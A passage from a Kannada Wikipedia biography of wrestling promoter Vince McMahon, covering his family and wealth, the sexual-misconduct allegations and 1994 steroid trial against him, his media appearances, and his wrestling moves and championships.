ಮಹೊನ್ ವಿನ್ಸೆ ಲುಪ್ತೊನ್ ಎಂದು ತಿಳಿದುಬಂದ, ತನ್ನ ಮಲತಂದೆಯ ಉಪನಾಮವನ್ನು ಬಳಸಿದ. ವಿನ್ಸೆಯ ತಾಯಿಯಾದ, ವಿಕ್ಕಿ ಲುಪ್ತೊನ್ ಮುಕಾಂತರ ಪರಿಚಯ ಮಾಡಿದರು (ಈಗ ವಿಕ್ಕಿ ಆಸ್ಕೆವ್). ಅವರಿಗೆ ಇಬ್ಬರು ಮಕ್ಕಳು, ಶೈನ್ ಮತ್ತು ಸ್ತೆಫನಿ, ಇಬ್ಬರು ಸಮಯವನ್ನು WWF/E ತೆರೆಯಲ್ಲಿ ಮತ್ತು ತೆರೆಯ ಮರೆಯಲ್ಲಿ ಕಳೆದರು. ಜನುಅರಿ 1, 2010; ರಲ್ಲಿ ಶೈನ್ ಕಂಪನಿ ಯನ್ನು ಬಿಟ್ಟ, ಆದರೆ ಸ್ತೆಫನಿ ಮರೆಯಲ್ಲಿ ಕಾರ್ಯನಿರತ ಮುಂದುವರಿಸುತಿದ್ದಾಳೆ. ಮನ್ಹತ್ತನ್ ನಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ ಗೆ $12 ಮಿಲ್ಲಿಯನ್ ನ ಮೇಲಂತಸ್ತಿನಲ್ಲಿರುವ ಮನೆ ಇದೆ; ಕಾನ್ನೆಕ್ಟಿಕಟ್ ನ ಗ್ರೀನ್ವಿಚ್ ನಲ್ಲಿ $40 ಮಿಲ್ಲಿಯನ್ ನ ದೊಡ್ಡಮನೆ ಇದೆ; ಮತ್ತು $20 ಮಿಲ್ಲಿಯನ್ ನ ವಿಶ್ರಾಂತಿ ಮನೆ ಇದೆ ಮತ್ತು ಫ್ಲೋರಿಡದ ಬೋಕಾ ರಟೋನ್, ನಲ್ಲಿ ಒಂದು 47 - ಫೂಟಿನ ಸೆಕ್ಸಿ ಬಿಟ್ಚ್ ಎಂಬ ಹೆಸರಿನಲ್ಲಿ ಕ್ರೀಡಾ ಯಟ್ಚ್ ಇದೆ. ಫಾರ್ಬೇಸ್ ನ ಟಿಪ್ಪಣಿಯ ಪ್ರಕಾರ ಮೆಕ್ ಮಹೊನ್ ಗೆ 1.1 ಬಿಲ್ಲಿಯನ್ ಸಂಪತ್ತು ಇದೆ, WWE ನ ಹಕ್ಕಿನ ಪ್ರಕಾರ 2001ರ ಬಿಲ್ಲಿಯನ್ಏರ್ ಆಗಿದ್ದಾನೆ. ಆದರು ವರದಿಯ ಪ್ರಕಾರ ಪಟ್ಟಿಯಿಂದ ಇಳಿತ್ತಿದ್ದಾನೆ. ಮೆಕ್ ಮಹೊನ್ ಗೆ ನಾಲ್ಕು ಮೊಮ್ಮಕ್ಕಳು ಇದ್ದಾರೆ: ದೆಕ್ಲಾನ್ ಜೇಮ್ಸ್ ಮತ್ತು ಕೆನ್ಯೋನ್ ಜೆಸ್ಸೆ ಮೆಕ್ ಮಹೊನ್, ಶೇನ್ ನ ಪುತ್ರ ಮತ್ತು ತನ್ನ ಹೆಂಡತಿ ಮರಿಸ್ಸ; ಮತ್ತು ಆರೋರ ರೋಜ್ ಮತ್ತು ಮುರ್ಫಿ ಕ್ಲೈರೆ ಲೆವೆಸ್ಕು, ಸ್ತೆಫನಿಯ ಮಗಳು ಮತ್ತು ಅವನ ಗಂಡ ಪಾಲ್ "ತ್ರಿಪ್ಲೆ ಎಚ್" ಲೆವೆಸ್ಕು. ===ತೊಂದರೆಗಳು=== ರಿಟ ಚಟ್ತೆರ್ಟನ್ (ರಿಂಗ್ ಹೆಸರು: "ರಿಟ ಮೇರಿ") ಮುಂಚಿನ ರೆಫರೀಯಾಗಿದ್ದಳು, 1980ರ ವೆರ್ಲ್ಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಫೆಡೆರೆಶನ್ ನ ಒಂದು ಪ್ರಖ್ಯಾತವಾಗಿದ್ದಳು. ಅವಲು WWF ನ ಮೊದಲ ಹೆಣ್ಣು ರೆಫೆರೀಯಗಿ ಹೆಸರಾದಳು, ಪರವಾದ ವ್ರೆಸ್ತ್ಲಿಂಗ್ ಚರಿತ್ರೆಯಲ್ಲಿ<ref>ಶೂನ್ ಅಸ್ಸೆಲ್ &amp; ಮೈಕ್ ಮೂನೆಯ್ಹಂ. ಸೆಕ್ಸ್, ಲೈಸ್ ಅಂಡ್ ಹೆದ್ಲೋಕ್ಕ್ಸ್: ದ ರಿಯಲ್ ಸ್ಟೋರಿ ಆಫ್ ವಿನ್ಸೆ ಮಕ್ಮಹೋನ್ ಅಂಡ್ ದ ವರ್ಲ್ಡ್ ವ್ರೆಸ್ತ್ಲಿಂಗ್ ಫೆಡರೇಶೇನ್ (p.116)</ref> ಅವಳ ಸಮಯದಲ್ಲಿ, ಹೇಗಾದರೂ, ವಿವಾದದ ಮುಸುಕುನಲ್ಲಿ ಇತ್ತು, ಏಕೆಂದರೆ ಸಂಭೋಗಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಹಾವಳಿಯ ಆಪಾದನೆ ಮಾಲೀಕನಾದ ಮೆಕ್ ಮಹೊನ್ ಮೇಲೆ ಇತ್ತು. ಏಪ್ರಿಲ್ 3, 1992ರಲ್ಲಿ, ಚಟ್ತೆರ್ಟನ್, ನೌ ಇಟ್ ಕ್ಯಾನ್ ಬಿ ಟೊಲದ್ ಎಂಬ ಪ್ರದರ್ಶನದಲ್ಲ ಗೆರಲ್ದೋ ರಿವೇರ ದೂರದರ್ಶನದಲ್ಲಿ ಅಭಿನಯಿಸಿ ಹೇಳಿದಳು ಅದು ಯೆನೆಂದ್ದರೆ ಜುಲೈ 16, 1986 ರಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ ತನ್ನ ಸುಖಕರವಾದ ದೊಡ್ಡ ಕಾರಿನಲ್ಲಿ ಬಲಾತ್ಕಾರವಾಗಿ ಮೌಖಿಕ ಸಂಭೋಗ ಮಾಡಲು ಪ್ರಯತ್ನಿಸಿದ ಮತ್ತು, ಅವಳ ತಡೆಯುವಿಕೆಯ ನಂತರ, ಅತ್ಯಾಚಾರ ಮಾಡಲು ಅಧೀನಗೊಳಿಸಿದ. ಮೆಕ್ ಮಹೊನ್ ಅನ್ನಿ ಯಾವ ರೀತಿಯ ಅಪರಾಧ ದಿಂದ ಆಪಾದನೆ ಮಾಡಲಿಲ್ಲ, ಆದರೆ ಅಪರಾಧದ ಕಟ್ಟಳೆಯ ಇತಿಮಿತಿ ಸಾಗಿತು. ಫೆಬ್ರವರಿ 1, 2006, ರಲ್ಲಿ ಫ್ಲೋರಿಡ ಟನ್ನಿಂಗ್ ಬಾರ್ ನ ಬೋಕಾ ರಟೋನ್ ನಲ್ಲಿ ಒಂದು ಕೆಲಸಗಾರ ಮೆಕ್ ಮಹೊನ್ ನನ್ನು ಲೈಂಗಿಕ ಸಂಭೋಗಕ್ಕೆ ಆರೋಪಿಸಿದ. ಕೆಲಸಗಾರ ಹೇಳಿದೆನೆಂದರೆ ಅವನು "ಅವಲನ್ನು ತಡವರಿಸು ಮಾತು ಅವಳಿಗೆ ಕಿರುಕುಳ ಕೊಟ್ಟ." ಮೊದಲಿನಲ್ಲಿ, ಅ ಆಪಾದನೆ ಬೆಲೆ ಇಲ್ಲದಾಗಿತ್ತು ಏಕೆಂದ್ದರೆ ಮೆಕ್ ಮಹೊನ್ ಅ ಸಮಯದಲ್ಲೂ ಮಯಾಮಿ ಯಲ್ಲಿ ನಡೆದ 2006ರ ರಾಯಲ್ ರುಮ್ಬೇಲ್ ನಲ್ಲಿ ಇದ್ದ. ಬೇಗನೆ ವಿಶದಪಡಿಸಿದರು ಅದು ಏನೆಂದರೆ ರುಮ್ಬೇಲ್ ನ ದಿನದಲ್ಲಿ ಪೊಲೀಸರಿಗೆ ಆರೋಪಣೆಯ ಘಟನೆಯನ್ನು ತಿಳಿಸಲಾಯಿತು, ಆದರೆ ಘಟನೆ ಯಾದದು ಒಂದು ದಿನ ಹಿಂದೆ. ಮಾರ್ಚ್ 27, ರಲ್ಲಿ ಫ್ಲೋರಿದ ದ ಒಂದು ದೂರದರ್ಶನವು ಮೆಕ್ ಮಹೊನ್ ಮೇಲೆ ಯಾವ ಆರೋಪವನ್ನು ಕೂಡ ಹೊರಿಸಲಿಲ್ಲ ಎಂದು ತನಿಖೆಯ ಪರಿಣಾಮವಾಗಿ ಹೇಳಲಾಯಿತು. ===ಕಾನೂನು ವಿಚಾರಣೆ=== 1989, ರಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ ಚಲನಚಿತ್ರ ಉತ್ಪನ್ನವನ್ನು ಪ್ರಯೋಗಿಸಿದ ಮತ್ತು ಸಹ-ಉತ್ಪನ್ನಕಾರನಾಗಿ ಹುಲ್ಕ್ ಹೋಗನ್ ವೆಹಿಕೆಲ್ ''ನೋ ಹೊಲ್ದ್ಸ್ ಬರ್ರೆಡ್'' ಉಂಟು ಮಾಡಿದ. 1993, ರಲ್ಲಿ ಪದೋನ್ನತಿ ಅನ್ನು ಸ್ತೆರೊಇದ್ ವಿವಾದದ ಮೂಲಕ ಆಪಾದಿಸ ಲಾಯಿತು. 1994ರಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ ಅನ್ನು ವಿಚಾರಣೆಗೆ ಇಡಲಾಯಿತು, ಮಲ್ಲರಿಗೆ ಸ್ತೆರೊಇದ್ ವಿತರಣೆ ಮಾಡಿದರು ಎಂದು ಆರೋಪಿಸಲಾಯಿತು. ಮಾಜಿ ವ್ರೆಸ್ತ್ಲರ್ ಆದ, ನೈಲ್ಜ್, ಅನ್ನು ಮೆಕ್ ಮಹೊನ್ ಎದುರಾಗಿ ಆಪಾದನೆ ಮಾಡಿದ ಪಕ್ಷದ ಮೂಲಕ ಸಾಕ್ಷ್ಯ ನೀಡಲಾಯಿತು, ಅದೇನೆಂದರೆ ವಿನ್ಸೆ steriod ಅನ್ನು ಉಪಯೋಗ ಮಾಡಲು ಪ್ರೋಚೋದಿಸಿದ. ಕಾನೂನಿಗೆ ಸಂಬಂಧವಾಗಿ, ತನ್ನ ಹೆಂಡತಿಯಾದ ಲಿಂಡವನ್ನು WWF ನ CEO ವನ್ನಾಗಿ ಮಾಡಲಾಯಿತು. 1980 ರಲ್ಲಿ ತಾನೆ ಸ್ತೆರೊಇದ್ ತೆಗೆದ ಎಂದು ಅಂಗೀಕರಿಸಿದರು, ಎಲ್ಲಾ ಆರೋಪದಿಂದ ನಿರ್ದೋಷಿಯೆಂದು ತೀರ್ಮಾನಿಸಲಾಯಿತು. ಆಪಾದನೆ ಮಾಡಿದ ಪಕ್ಷವು ಹಲ್ಕ್ ಹೋಗನ್ ಅನ್ನು ಮುಕ್ಯ ಸಾಕ್ಷಿಯನ್ನಾಗಿ ಮಾಡಿತು, ಮತ್ತು ಅವನ ನ್ಯಾಯಾಲಯ ತನಿಖೆಯ ಸಾಕ್ಷ್ಯವು ಅವರಿಬ್ಬರ ಸ್ನೇಹವನ್ನು ಹಾನಿ ಮಾಡಿತು, ಆದರು ಹೋಗನ್ ನ ಪ್ರಮಾಣಿತ ಹೇಳಿಕೆಯು ಮ್ಯಾಕ್‌ಮೋಹನ್ ಅನ್ನು ರಕ್ಷಿಸಿತು. ಆದಾಗ್ಯೂ ಅವನು ವೈಯಕ್ತಿಕವಾಗಿ ಜೈಲುವಾಸದಿಂದ ಪಾರಾದರೂ, WWF ನ ಸಾರ್ವಜನಿಕ ಭಾವನೆಯು ಧಕ್ಕೆ ಉಂಟು ಮಾಡಿತು ಮತ್ತು ಅದರ ಪೋಪ್-ಸಂಸ್ಕೃತಿಯ ಸ್ಥಾನದಿಂದ ಪ್ರೊ ವ್ರೆಸ್ತ್ಲಿಂಗ್ ನಿದಾನವಾಗಿ ಇಳಿಯ ತೊಡಗಿತು. ===ಇತರೆ ಮೀಡಿಯಾ=== 2001, ರಲ್ಲಿ ಮ್ಯಾಕ್‌ಮೋಹನ್ ಪ್ಲೇಬಾಯ್ ಇಂದ ಭೇಟಿ ಮಾಡಿದರು ಮತ್ತು ತನ್ನ ಮಗ ಶೇನ್ ಜೊತೆ ಅದೇ ವರ್ಷ ಪತ್ರಿಕೆಯ ಎರಡನೆ ಹಂಚಿಕೆಯಲ್ಲಿ ಭೇಟಿ ನಿರ್ವಹಿಸಿದನು. ಮಾರ್ಚ್ 2006, ರಲ್ಲಿ (ವಯಸ್ಸು 60) ಮ್ಯಾಕ್‌ಮೋಹನ್ ''ಮುಸ್ಸೆಲ್ & ಫಿಟ್ನೆಸ್ಸ್'' ಪತ್ರಿಕೆಯ ಮುಖಭಾಗದಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡನು. ಅ ಪತ್ರಿಕೆಯ ಪ್ರಕಟಣೆ ಆದ ಅನೇಕ ತಿಂಗಳ ಮತ್ತೆ, ಮ್ಯಾಕ್‌ಮೋಹನ್ ನ ಆಫೀಸಿನ ರಂಗದ ಹಿಂಬದಿಯ ಭಾಗದಲ್ಲಿ ನೋಡ ಬಹುದು. ವಿಸ್ತಾರವಾದ ಆವೃತ್ತಿಯ ಮುಖಭಾಗವನ್ನು ಒಂದು ಸಾಧಣೆಯಾಗಿ ವ್ರೆಸ್ತೆಲ್ ಮನಿಯ 22 ರಲ್ಲಿ ಮ್ಯಾಕ್‌ಮೋಹನ್ ಮತ್ತು ಶವ್ನ್ ಮೈಕ್ಹಲ್ ಪಂದ್ಯದಲ್ಲಿ ಬಳೆಸಲಾಯಿತು ಮತ್ತು ಡಿ- ಜೆನೆರಶನ್ ಯೆಕ್ಷ್ (ಶವ್ನ್ ಮಿಚಲ್ಸ್ ಮತ್ತು ತ್ರಿಪೆಲ್ ಎಚ್)ಅವರ Raw ವಿನ ಒಂದು ಉಪಾಖ್ಯಾನದ ಪುನರೇಕೀಕರಣ ದಿಂದ ವಿರೂಪಮಾಡಲಾಯಿತು. ಆಗಸ್ಟ್ 22, 2006, ಮ್ಯಾಕ್‌ಮೋಹನ್ ಅವರ ವೃತ್ತಿಜೀವನವನ್ನು ತೋರಿಸುವ ಎರಡು-ಡಿಸ್ಕ್ DVD ಸೆಟ್ಅನ್ನು ಬಿಡುಗಡೆ ಮಾಡಿದರು. DVD ಯು ಸಲೀಸಾಗಿ ಮ್ಯಾಕ್‌ಮೋಹನ್ ಎಂದು ಶಿರೋನಾಮೆ ಇಡಲಾಗಿದೆ. ಅದರ ಬಾಕ್ಸ್ ಆರ್ಟ್ ವಿನ್ಸೆ ಮ್ಯಾಕ್‌ಮೋಹನ್ ವ್ಯಕ್ತಿಯಾಗಿ ಮತ್ತು Mr. ಮ್ಯಾಕ್‌ಮೋಹನ್ ನಡತೆಯ ಎರಡರ-ಮಧ್ಯೆ ತನ್ನ ಮಸುಕು ಸತ್ಯತೆಯ ಗುರುತನ್ನು ವ್ಯಕ್ತ ಪಡಿಸುತ್ತದೆ. ಮ್ಯಾಕ್‌ಮೋಹನ್ ರೂಪವೈಶಿಷ್ಟ್ಯ Mr. ಮ್ಯಾಕ್‌ಮೋಹನ್ ನಡತೆಯನ್ನು ಹೇಳುತ್ತದೆ, ಅದೆನೆಂದ್ದರೆ ವ್ರೆಸ್ತ್ಲರ್ ಜೊತೆ ಹುರುಡು, ತೆರೆಯಲ್ಲಿ ಹಿಂದೇಟು ಕೊಡುವುದು, ಮತ್ತು ಅವನ ವಿಚಿತ್ರ ನಡತೆ. ಇದರ ಜೊತೆಗೆ, DVD ಯಲ್ಲಿ ವಿನ್ಸೆಯ ಉದ್ಯಮ ಜೀವನವನ್ನು ಹೇಳುತ್ತದೆ, ಅದೇನೆಂದರೆ WCW ಅನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಲ್ಲು ಮತ್ತು ಏ ಮತ್ತು XFL ನ ನಾಶವನ್ನು ಹೇಳುತ್ತದೆ. ಮ್ಯಾಕ್‌ಮೋಹನ್ ವೃತ್ತಿಪರ ಮಲ್ಲಯುದ್ಧದ ವೃತ್ತಿಜೀವನದ ಅಗ್ರ ಒಮ್ಬತು ಪಂದ್ಯವನ್ನು ಮ್ಯಾಕ್‌ಮೋಹನ್ ಒಳಗೊಂಡಿದೆ. ==ಕುಸ್ತಿ ಅಖಾಡದಲ್ಲಿ== *'''ಕೊನೆಗಳಿಗೆಯ ಚಲನೆಗಳು''' **''ಪೆಡಿಗ್ರೀ'' (ಡಬಲ್ ಅಂಡರ್ಹೂಕ್ ಫಾಸೆಬಸ್ತೆರ್) – ಟ್ರಿಪಲ್ ಎಚ್ ಇಂದ ದತ್ತು ತೆಗೆದುಕೊಂಡದ್ದು **''ಪಿಪಲ್ಸ್ ಎಲ್ಬೌ/ ಕಾರ್ಪೋರಟ್ ಎಲ್ಬೌ'' (ಫಿಂಟ್ ಕಾಲು ಬಿಡುವುದು ಪರಿವರ್ತನೆಯಾಗಿ ಎದುರಾಳಿಯ ಎದೆಗೆ ಮೊಣಕೈಯಿಂದ ತಳ್ಳು, ಥಿಯೇತ್ರಿಕ್ಸ್ ಜೊತೆ) - ದ ರಾಕ್ ಇಂದ ದತ್ತು ತೆಗೆದುಕೊಂಡದ್ದು **ರನ್ನಿಂಗ್ ಜಂಪಿಂಗ್ ಗುಇಲ್ಲೊತಿನೆ ಲೆಗ್ ಡ್ರಾಪ್ – ಹಲ್ಕ್ ಹೋಗನ್ ನಿಂದ ತಿಳಿದ **''ಮಕ್ ಮಹೋನ್ ಸ್ತನ್ನೆರ್'' (ತ್ರೀ-ಕ್ವರ್ಟರ್ ಫ್ಯಾಸೆಲೋಕ್ಕ್ ಜ್ವಾಬ್ರಕೆರ್) – "ಸ್ಟೋನ್ ಕೋಲ್ಡ್" ಸ್ಟಿವ್ ಆಸ್ಟಿನ್ ಇಂದ ದತ್ತು ತೆಗೆದುಕೊಂಡದ್ದು *'''ಅಡ್ಡಹೆಸರು/ಉಪನಾಮಗಳು''' **ದ ಬಾಸ್ **ದ ಜೆನೆಟಿಕ್ ಜ್ಯಾಕ್ಹಂಮೆರ್ *'''ಪ್ರವೇಶದ ಸ್ವರಸಂಗತಿಗಳು''' **"ನೋ ಚಾನ್ಸ್ ಇನ್ ಹೆಲ್" ಜಿಮ್ ಜಾನ್ಸ್ಟನ್ ಇಂದ ಮತ್ತು ಧ್ವನಿ ಪೀಟರ್ ಬುರ್ಸುಕೆರ್ (WWF ದ ಮ್ಯೂಸಿಕ್, ವೋಲ್ 4; WWE ಸಂಕಲನ,) ==ಚಾಂಪಿಯನ್ಷಿಪ್‌ಗಳು ಮತ್ತು ಅಕಂಪ್ಲಿಶ್‌ಮೆಂಟ್ಸ್== [[File:Vince McMahon - ECW Champion.jpg|thumb|right|ಮಕ್ಮಹೋನ್ ECW ವರ್ಲ್ಡ್ ಚಾಂಪಿಯನ್ ಹಾಗಿ.]] *'''ವರ್ಲ್ಡ್ ವ್ರೆಸ್ತ್ಲಿಂಗ್ ಫೆಡರೇಶೇನ್ / ವರ್ಲ್ಡ್ ವ್ರೆಸ್ತ್ಲಿಂಗ್ ಎಂಟರ್ಟಿನ್ಮೆಂಟ್''' **ECW ವೆರ್ಲ್ಡ್ ವೇಟ್ ಚಾಂಪಿಯನ್ಷಿಪ್ (1 ಬಾರಿ)<ref>{{cite web|url=http://www.wwe.com/shows/ecw/history/ecwchampionship/|title=ECW Championship official title history|accessdate=2007-07-18|publisher=WWE.com}}</ref> **WWF ಚಾಂಪಿಯನ್‌ಶಿಪ್ (5 ಬಾರಿ)[312] **ರಾಯಲ್ ರಮ್ಬೇಲ್ (1999)<ref>{{cite web|url=http://www.pwwew.net/ppv/wwf/january/1999.htm|title=Royal Rumble 1999 Results|accessdate=2007-08-22|publisher=PWWEW.net}}</ref> **ಮುಂಚಿನ Raw ಪ್ಲೇ-ಬೈ-ಪ್ಲೇ ಭಾಷ್ಯಕಾರ **WWE ಅಧ್ಯಕ್ಷ ಮತ್ತು ಮುಖ್ಯ ಕಾರ್ಯನಿರ್ವಾಹಕ ಅಧಿಕಾರಿ **WWE ಸಹ-ಸಂಸ್ಥಾಪಕ ತನ್ನ ತಂದೆ ವಿನ್ಸ್ ಮಕ್ಮಹೋನ್ Sr. *'''ಪ್ರೊ ವ್ರೆಸ್ತ್ಲಿಂಗ್ ಇಲ್ಲಸ್ಟ್ರಟೆಡ್''' **PWI ಫಿಯುಡ್ ಆಫ್ ದ ಇಯರ್ (1996) <small>vs. ಎರಿಕ್ ಬಿಸ್ಚೋಫ್ಫ್</small><ref name="Feud of the Year">{{cite web|url=http://www.100megsfree4.com/wiawrestling/pages/pwi/pwifoty.htm|title=Wrestling Information Archive - Pro Wrestling Illustrated Award Winners - Feud of the Year|accessdate=2007-07-18|publisher=Pro Wrestling Illustrated|archive-date=2011-07-07|archive-url=https://web.archive.org/web/20110707054311/http://www.100megsfree4.com/wiawrestling/pages/pwi/pwifoty.htm|url-status=dead}}</ref> **PWI ಫಿಯುಡ್ ಆಫ್ ದ ಇಯರ್ (1998, 1999) <small>vs. "</small><small>ಸ್ಟೋನ್ ಕೋಲ್ಡ್" ಸ್ಟೇವ್ ಆಸ್ಟಿನ್</small><ref name="Feud of the Year" /> **PWI ಫಿಯುಡ್ ಆಫ್ ದ ಇಯರ್ (2001) <small>vs. ಶೇನ್ ಮಕ್ಮಹೋನ್</small><ref name="Feud of the Year" /> **PWI ಮ್ಯಾಚ್ ಆಫ್ ದ ಇಯರ್ (2006) <small>vs. ಶವ್ನ್ ಮೈಕಲ್ಸ್ ಜೊತೆ ನೋ ಹೊಲ್ದ್ಸ್ ಬಾರೆಡ್ ಮ್ಯಾಚ್{/೩ {4}ವ್ರೆಸ್ತ್ಲೆಮನಿಯ 22ರಲ್ಲಿ</small><ref>{{cite web|url=http://www.100megsfree4.com/wiawrestling/pages/pwi/pwimoty.htm|title=Wrestling Information Archive - Pro Wrestling Illustrated Award Winners - Match of the Year|accessdate=2007-07-26|publisher=Pro Wrestling Illustrated}}</ref> *'''ವ್ರೆಸ್ತ್ಲಿಂಗ್ ಒಬ್ಸೆರ್ವೆರ್ ನ್ಯೂಸ್ಲೆಟರ್ ಅವಾರ್ಡ್ಸ್''' **ಬೆಸ್ಟ್ ಬೂಕೆರ್ (1987, 1998, 1999) **ಬೆಸ್ಟ್ ನೋನ್-ವ್ರೆಸ್ತ್ಲರ್ (1999, 2000) **ಬೆಸ್ಟ್ ಪ್ರೋಮೋಟರ್ (1988, 1998–2000) **ಫಿಯುಡ್ ಆಫ್ ದ ಇಯರ್ (1998, 1999) <small>vs. "</small><small>ಸ್ಟೋನ್ ಕೊಲ್ಡ್ ಸ್ಟೀವ್ ಆಸ್ಟಿನ್</small> **ವೊರ್ಸ್ಟ್ ಫಿಯುಡ್ ಆಫ್ ದ ಇಯರ್ (2006) <small>ಶೇನ್ ಮಕ್ಮಹೋನ್ ಜೊತೆ vs. ಡಿ-ಜೆನೆರಶನ್ X (ಶವ್ನ್ ಮಿಕಲ್ಸ್ ಮತ್ತು ಟ್ರಿಪಲ್ ಎಚ್)</small> **ರೆಸ್ಲಿಂಗ್‌ ಅಬ್ಸರ್ವರ್ ನ್ಯೂಸ್‌ಲೆಟರ್ ಹಾಲ್ ಆಫ್ ಫೇಮ್ (1996ರ ವರ್ಗ) [[File:Vince McMahon - Hollywood Walk of Fame.jpg|200px|right|thumb|ವಿನ್ಸೆ ಮಕ್ಮಹೋನ್ ಹೋಲಿವುಡ್ ವಾಕ್ ಆಫ್ ಫಾಮ್ ನಲ್ಲಿ ತನ್ನ ಚುಕ್ಕೆಯನ್ನು ಪಡೆಯುವುದು.]] *'''ಇನ್ನಿತರ ನೆರವಣಿಗೆಗಳು ಮತ್ತು ಗೌರವಗಳು''' **ಮದಿಸೋನ್ ಸ್ಕ್ವರ್ ಗಾರ್ಡನ್ ವಾಕ್ ಆಫ್ ಫಾಂ **ಸಪೋರ್ಟ್'ಸ್ ಇಲ್ಲುಸ್ಟ್ರಟೆಡ್ 'ಸ್ಪೋರ್ಟ್ಸ್ ಮ್ಯಾನ್ ಆಫ್ ದ ಇಯರ್' 2006 ನೋಮಿನೀ **ವ್ರೆಸ್ತ್ಲೆಮನಿಯ ಸೃಷ್ಟಿಸಿದ **ದ ಕವರ್ ಆಫ್ "ಮಸೇಲ್ &amp; ಫಿಟ್ನೆಸ್ಸ್" (2006) **ಮೇ 13, 2007, ವಿನ್ಸ್ ಮಕ್ಮಹೋನ್ ಸಕ್ರೆದ್ ಹಾರ್ಟ್ ಉನಿವೆರ್ಸಿಟಿಯ ಆರಂಭ ಮಾತುಗಾರನಾಗಿ ಸೇವೆಮಾಡಿದ, ಮತ್ತು ಹೊನೋರರಿ ಡಾಕ್ಟರ ಆಫ್ ಹುಮನೆ ಲೆಟ್ಟೆರ್ಸ್ ಡಿಗ್ರಿ.<ref>{{cite web | url = http://www.stamfordadvocate.com/news/local/scn-sa-mcmahon7may14,0,7480442.story?coll=stam-news-local-headlines | title = WWE chief pumps up graduates | author = Jamie DeLoma | accessdate = May 14, 2007 | date = May 14, 2007 | archive-date = ಮೇ 17, 2007 | archive-url = https://web.archive.org/web/20070517060358/http://www.stamfordadvocate.com/news/local/scn-sa-mcmahon7may14,0,7480442.story?coll=stam-news-local-headlines | url-status = dead }}</ref><ref name="doctor">{{cite web | url = http://www.wwe.com/inside/news/archive/drmcmahon | title = Mr. McMahon becomes Dr. McMahon | author = Anrdrew Rote | accessdate = May 14, 2007 | date= May 13, 2007}}</ref> **ಹೊಲ್ಲಿವುಡ್ ವಾಕ್ ಆಫ್ ಫಂ ನಲ್ಲಿ ಅವನಿಗೆ ಚುಕ್ಕೆ ಇದೆ; ಮಲ್ಲಯುದ್ಧ ವೃತ್ತಿಯಲ್ಲಿ ಪ್ರಶಸ್ತಿ [http://www.wwe.com/shows/raw/archive/05312010/ ] ==ಟಿಪ್ಪಣಿಗಳು== {{Reflist|2}} ==ಉಲ್ಲೇಖಗಳು== * {{cite book|author=Shaun Assael & Mike Mooneyham|title=Sex, Lies and Headlocks: The Real Story of Vince McMahon and the World Wrestling Federation|publisher=Crown Publishers|year=2002|isbn=0609606905}} ==ಬಾಹ್ಯ ಕೊಂಡಿಗಳು== {{Wikiquote}}{{Commons category|Vince McMahon}} *[http://www.wwe.com/superstars/raw/mrmcmahon/ WWE ಪಾರ್ಶ್ವಚಿತ್ರ] *[http://corporate.wwe.com/company/bios/vk_mcmahon.jsp WWE ಸಂಸ್ಥೆಯ ಬೈಒ ] *[http://fans.wwe.com/mrmcmahon ಕಚೇರಿಯ WWEಯ ವಿಶ್ವ ಪುಟ] {{Webarchive|url=https://web.archive.org/web/20090717070943/http://fans.wwe.com/mrmcmahon/ |date=2009-07-17 }} {{s-start}} {{s-bef|before=[[Vincent J. McMahon|Vince McMahon, Sr.]]}} {{s-ttl|title=Chairman of World Wrestling Entertainment|years=1980-Present}} {{s-aft|after=Incumbent}} {{s-end}} {{s-start}} {{s-bef|before=[[Linda McMahon]]}} {{s-ttl|title=Chief Executive Officer of World Wrestling Entertainment|years=2009-Present}} {{s-aft|after=Incumbent}} {{s-end}} {{Persondata |NAME = McMahon, Vincent Kennedy |ALTERNATIVE NAMES = McMahon, Vince Jr.;McMahon, Vincent K. |SHORT DESCRIPTION = Wrestling promotor |DATE OF BIRTH = August 24, 1945 |PLACE OF BIRTH = Pinehurst, North Carolina |DATE OF DEATH = |PLACE OF DEATH = }} {{DEFAULTSORT:Macmahon, Vince}} [[ವರ್ಗ:1945ರಲ್ಲಿ ಜನಿಸಿದವರು]] [[ವರ್ಗ:ಅಮೆರಿಕಾದ ಉದ್ಯಮಿಗಳು]] [[ವರ್ಗ:ಅಮೇರಿಕದ ಮುಖ್ಯ ಕಾರ್ಯನಿರ್ವಹಣಾಧಿಕಾರಿಗಳು]] [[ವರ್ಗ:ಅಮೆರಿಕಾದ ರೋಮನ್‌ ಕ್ಯಾಥಲಿಕ್‌ ಜನರು]] [[ವರ್ಗ:ಈಸ್ಟ್ ಕಾರೋಲಿನ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಅಲುಮ್ನಿ]] [[ವರ್ಗ:ಐರಿಶ್ ವಂಶದ ಅಮೆರಿಕದ ಕ್ರೀಡಾಪಟುಗಳು]] [[ವರ್ಗ:ಐರಿಷ್‌ ಮೂಲದ ಅಮೆರಿಕಾದ ಜನರು]] [[ವರ್ಗ:ಜೀವಿತ ವ್ಯಕ್ತಿಗಳು]] [[ವರ್ಗ:ಕಾನ್ನೆಕ್ಟಿಕಟ್ ಗ್ರೀನ್ವಿಚ್, ನ ಜನರು]] [[ವರ್ಗ:ಫ್ಲೋರಿಡ, ಬೋಕಾ ರಟೋನ್ ನಿನ ಜನರು]] [[ವರ್ಗ:ಮ್ಯಾನ್ ಹಟ್ಟನ್ ಜನರು]] [[ವರ್ಗ:ನಾರ್ತ್ ಕ್ಯಾರೊಲಿನ, ಪಿನೆಹುರ್ಸ್ಟ್ ನ ಜನರು]] [[ವರ್ಗ:ವೃತ್ತಿಪರ ಕುಸ್ತಿ ಘೋಷಕ]] [[ವರ್ಗ:ವೃತ್ತಿಪರ ಕುಸ್ತಿ ಕಾರ್ಯನಿರ್ವಾಹಕ]] [[ವರ್ಗ:ವೃತ್ತಿಪರ ಕುಸ್ತಿ ತರಬೇತಿದಾರರು]] [[ವರ್ಗ:ವಿಶ್ವ ವ್ರೆಸ್ಲಿಂಗ್ ಎಂಟರ್‌ಟೇನ್‌ಮೆಂಟ್]] [[ವರ್ಗ:ಕ್ರೀಡಾಪಟುಗಳು]] [[ವರ್ಗ:ನಿರ್ದೇಶಕರು]] 7gj9lvu42hy7vennx7ekyorsjo3iazr ದಿ ಲಾಸ್ಟ್‌ 